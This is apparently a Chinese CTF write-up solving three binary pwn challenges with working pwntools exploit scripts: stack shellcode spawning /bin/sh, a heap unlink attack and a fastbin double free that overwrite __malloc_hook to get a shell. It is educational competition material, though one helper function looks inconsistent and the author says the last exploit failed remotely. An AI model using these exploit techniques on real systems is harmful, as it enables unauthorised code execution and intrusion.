IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax
指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了。
程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode 了。checksec 检查保护的时候也可以验证这一点。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
在这里找到 21 bytes 的 shellcode,但是最多只能输入 20 bytes。
http://shell-storm.org/shellcode/files/shellcode-575.php
所以这里我们想办法去掉一条指令即可,调试发现 ecx 本身就是 0,那么去掉 xor ecx ecx
即可。
#!/usr/bin/python
from pwn import *
DEBUG = 0
if DEBUG:
r = process('./pwn_1')
#elf = ELF('')
else:
r = remote('101.71.29.5',10000)
#elf = ELF('')
#shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80\x00"
shellcode = "\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# ecx = 0
print "len: " + str(len(shellcode))
r.sendline(shellcode)
r.interactive()
程序的漏洞点比较多,所以这里应该有多解。笔者这里用堆溢出后伪造堆块,构造一个 unlink 的方法来做。
首先检查一下保护:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
int create_node()
{
int v0; // ebx
int v2; // [rsp+Ch] [rbp-14h]
printf("enter the index of the node you want to create:");
__isoc99_scanf("%d", &v2);
v0 = v2;
name[v0] = malloc(0x80uLL); // small chunk
return puts("create complete");
}
int edit_node()
{
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to edit:");
__isoc99_scanf("%d", &v2);
printf("please enter the length of the input:", &v2);
__isoc99_scanf("%d", &v1);
getchar();
printf("please enter the contents of the node:", &v1);
fread(name[v2], v1, 1uLL, stdin); // overflow
return puts("edit compete!");
}
int delete_node()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to create:");
__isoc99_scanf("%d", &v1);
free(name[v1]);
return puts("delete complete!");
}
int show_node()
{
int v1; // [rsp+Ch] [rbp-4h]
printf("enter the index of the node you want to create:");
__isoc99_scanf("%d", &v1);
return puts(name[v1]);
}
首先有一个比较容易利用的点,在 edit_node 函数中我们可以输入 index 为一个负数,这里我们就可以更改 name 前面某个地址的指针的值。
got 表在 name 前面,很容易想到直接篡改 got 表值,这里 exit 函数在 -12 处。但是这里 RELRO 为 disabled,是无法正常写 got 表的。大佬说这个是
失去动态链接的过程 而且不光 got 不能写 因为要对齐 所以至少1000个字节的范围
所以这里正常的思路是在 edit_node 中利用长度没有限制的条件来伪造一个堆块,触发 unlink 漏洞,参考:https://www.jianshu.com/p/2776b6a79a11
unlink 触发之后,再 edit 一次就可以在 name 的区域任意地址写,这里利用前面 uaf 漏洞 leak 出 libc 地址,之后往 malloc_hook 中写入后门函数,再 malloc 一次就 getshell 了。
#!/usr/bin/python
from pwn import *
DEBUG = 0
if DEBUG:
r = process('./pwn2')
main_arena_offset = 0x3C2760
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
malloc_hook_offset = elf.symbols['__malloc_hook']
else:
r = remote('101.71.29.5',10001)
#elf = ELF('')
malloc_hook_offset = 0x00
def create_node(idx):
r.sendlineafter("---------------------------",'1')
#r.sendlineafter("enter the index of the node you want to create:",str(idx))
#r.recvuntil(":")
r.sendline(str(idx))
def edit_node(idx,length,content):
r.sendlineafter("---------------------------",'2')
r.sendline(str(idx))
r.sendline(str(length))
r.sendline(str(length))
def delete_node(idx):
r.sendlineafter("---------------------------",'3')
r.sendline(str(idx))
def show_node(idx):
r.sendlineafter("---------------------------",'4')
r.sendline(str(idx))
create_node(0)
create_node(1)
delete_node(0)
show_node(0)
r.recvuntil(":")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58
success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - main_arena_offset
success("libc_addr: " + hex(libc_addr))
#---------------------------------------------------
create_node(0)
create_node(2)
create_node(3)
create_node(4)
payload = 'a' * 0x80 + p64(0) + p64(0x21)
#edit_node(2,len(payload),payload)
#edit_node(2,5,'aaaaa')
#gdb.attach(r)
#r.sendlineafter("---------------------------",'2\n')
#r.recvuntil("---------------------------")
#r.sendline("2")
r.recv()
# unlink
chunk_list = 0x6012b0
payload = p64(0) +p64(0x81)
payload += p64(chunk_list-24)
payload += p64(chunk_list-16)
payload += 'a' * 0x60
payload += p64(0x80) + p64(0x90)
r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload)))
r.sendline(payload)
#gdb.attach(r)
delete_node(3)
r.recv()
malloc_hook = libc_addr + malloc_hook_offset
payload2 = p64(0x1111) + p64(malloc_hook)
r.sendline('2\n')
r.sendline('2\n')
r.sendline(str(len(payload2)))
r.sendline(payload2)
#gdb.attach(r)
r.recv()
payload3 = p64(0x00000000004009B6)
r.sendline('2\n')
r.sendline('0\n')
r.sendline(str(len(payload3)))
r.sendline(payload3)
create_node(4)
r.interactive()
这道题和前面那道挺像的,但是这个可以直接用 fastbins attack 的 double free 来做,会稍微简单点。关于 fastbins attack 的几种利用方法可以[看这里][https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247483708&idx=1&sn=3d99a896dd1fc366fdfaed3806d08a2a&chksm=fd711471ca069d67f59eee741245e444e07e209fe0ab46708a39ecdacd500f1c192a355d1f25&xtrack=1&scene=0&subscene=10000&clicktime=1553785691&ascene=7&devicetype=android-27&version=27000334&nettype=3gnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AVpkeAMiZHgDVmR4A3JkeAAAA&lang=zh_CN&pass_ticket=SYONvOFMfHHU4cAl26RQ3nLCrJELqfUSx809QFoLolLe%2BQMEh16EkmM0KVgTuQSJ&wx_header=1]
安全保护措施:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL
保护全开,got 表也写不了。那只能写 malloc_hook 或者 free_hook。
首先看程序的代码:
int create()
{
signed int size; // eax
size_t v1; // rbx
void *v2; // rbp
__int64 v3; // rax
if ( max_count > 15 )
return puts("Enough");
puts("Size:");
size = sub_B60();
if ( size > 128 )
exit(-1);
v1 = size;
v2 = malloc(size);
v3 = max_count++;
chunk_list[v3] = v2;
_printf_chk(1LL, "Content >");
read(0, v2, v1);
return puts("Done");
}
int sub_C70()
{
int v0; // eax
__int64 v2; // rcx
puts("Index:");
v0 = sub_B60();
if ( v0 < 0 || v0 >= max_count )
return puts("Invalid Index");
v2 = chunk_list[v0];
return _printf_chk(1LL, "Buf[%d]:%s\n");
}
void sub_CD0()
{
int idx; // eax
void *v1; // rdi
puts("Index:");
idx = sub_B60();
if ( idx >= 0 && idx < max_count && (v1 = chunk_list[idx]) != 0LL )
free(v1);
else
puts("Invalid Index");
}
思路:和上题一样的方法 leak 出 libc,拿到 one_gadget 地址之后,往 malloc_hook 中写入来 getshell。
malloc 一个 0x80 的块之后 free 掉,先 leak 出 main_arena + 0x58 的地址,就可以计算出 main_arena 的地址,进而得到 libc 的地址(main_arena 偏移固定)
create(128,"a")
create(128,"b")
delete(0)
show(0)
malloc 出三个 fastbin ,free 三个块之后再事先填充好伪造为 fd 值,构造 double free。
create(0x60,'1') # idx=3
create(0x60,'2') # idx=4
create(0x60,'3') # idx=5
delete(3) # double free
delete(4)
delete(3)
利用 fastbins attack 的错位技术,在 malloc_hook 上面构造一个堆块,填充内容时就可以覆盖 malloc_hook 的值。
one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
create(0x60,payload)
接着 malloc 一次就可以 getshell。但是这里我在本地测试可以正常 shell,在远程利用时可能是 one_gadget 的地址偏移的原因,无法正常 getshell。
#!/usr/bin/python
from pwn import *
DEBUG = 1
if DEBUG:
r = process('./5b757f4345b70')
main_arena_offset = 0x3C2760
one_gadget_offset = 0xe9415
elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
r = remote('101.71.29.5',10002)
# r = remote('127.0.0.1',4000)
elf = ELF("./5b757f4347a22.so")
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_arena_offset = 0x3C4B20
one_gadget_offset = 0xf02a4
success("system offset: "+hex(elf.symbols['system']))
success("free_hook_offset: "+hex(elf.symbols['__free_hook']))
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''
def create(size,content):
r.sendlineafter("Choice>",'1')
r.sendlineafter("Size:",str(size))
r.sendlineafter("Content >",str(content))
def show(idx):
r.sendlineafter("Choice>",'2')
r.sendlineafter("Index:",str(idx))
def delete(idx):
r.sendlineafter("Choice>",'3')
r.sendlineafter("Index:",str(idx))
create(128,"a")
create(128,"b")
delete(0)
show(0)
r.recvuntil(">Buf[0]:")
main_arena_addr = u64(r.recv(6).ljust(8,'\x00'))-0x58
success("main_arena: "+hex(main_arena_addr))
libc_addr = main_arena_addr-main_arena_offset
success("libc_addr: "+hex(libc_addr))
success("free_hook: "+hex(libc_addr+elf.symbols['__free_hook']))
create(128,"c")
create(0x60,'1') # idx=3
create(0x60,'2') # idx=4
create(0x60,'3') # idx=5
delete(3) # double free
delete(4)
delete(3)
#gdb.attach(r)
malloc_hook_addr = main_arena_addr-0x33
create(0x60,p64(malloc_hook_addr)) # fd
create(0x60,'4')
create(0x60,'5')
# LOCAL ONE_GADGET
'''
0x46428 execve("/bin/sh", rsp+0x30, environ)
0x4647c execve("/bin/sh", rsp+0x30, environ)
0xe9415 execve("/bin/sh", rsp+0x50, environ)
0xea36d execve("/bin/sh", rsp+0x70, environ)
'''
# REMOTE ONE_GADGET
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''
one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
#payload = 'a' * 0x3 + p64(libc_addr + elf.symbols['__stack_chk_fail'])
create(0x60,payload)
gdb.attach(r)
#r.sendlineafter("Choice>",'1')
#r.sendlineafter("Size:","96")
r.interactive("#> ")